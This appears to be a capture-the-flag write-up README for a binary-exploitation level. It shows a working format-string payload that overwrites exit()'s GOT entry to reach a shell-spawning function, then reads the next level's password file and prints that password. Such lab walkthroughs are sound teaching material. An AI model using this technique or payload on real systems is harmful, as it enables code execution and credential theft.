Skip to content
This repository has been archived by the owner on May 3, 2022. It is now read-only.

Latest commit

 

History

History
56 lines (36 loc) · 2.82 KB

README.md

File metadata and controls

56 lines (36 loc) · 2.82 KB

Level5

For introductory information on this operating system and binary securities, check here.

Let's see what does the binary do.

  $> ./level5
  teststring
  teststring

It looks like this is similar to the previous level...

Using gdb, we can dig through the binary to understand what's going on (full analysis here). At first glance it appears that a buffer overflow won't be possible here since the program uses fgets() and reads up to 512 bytes while the buffer is 520 bytes long.

After some deeper analysis, we find that there is a built-in way to spawn a shell within this program but the function were this logic happens is never called. Since the program don't return to the main at the end of execution but calls for exit(), we could use what's called a GOT overwrite exploit.

The process is as follows:

  • Get the address of exit() in the Global Offset Table.
  • Get the address of the function we want to run, o() in our case.
  • Find the stack argument representing the format string.
  • Overwrite the call to exit() by the address of o().

Thanks to our gdb analysis we get:

  • exit() function: 0x08049838.
  • o() function: 0x080484a4.

Since these two addresses share the same two high order bytes we can take a shortcut here. We can update only the low order bytes so that o() would be executed making the format string a bit shorter and more readable.

Like before let's, first, identify which positional argument is our input.

  $> python -c 'print "AAAA" + " %p" * 8' | ./level5
  AAAA 0x200 0xb7fd1ac0 0xb7ff37d0 0x41414141 0x20702520 0x25207025 0x70252070 0x20702520

This time our input is the 4th stack argument.

Now that we know the format string position in the stack all we have to do is to create a 33956 character long string containing the address of exit() to match the lower order bytes from o() address and output its low order bytes using %hn.

  $> (python -c 'print "\x08\x04\x98\x38"[::-1] + "%33952c%4$hn"'; cat) | ./level5    
  ...
  cat /home/user/level6/.pass 
  d3b7bf1025225bd715fa8ccb54ef06ca70b9125ac855aeab4878217177f41a31

We, first, write the address of exit(), which is already 4 bytes, so using %33952c will add 33952 spaces as padding resulting in a 33956 character long string. Then all we have to do is output the number of character printed until this point using %hn into the 4th positional stack argument low order bytes we want to change using %4$.

So next user credentials pair is level6:d3b7bf1025225bd715fa8ccb54ef06ca70b9125ac855aeab4878217177f41a31.

Check here for reproduction source-code of this binary.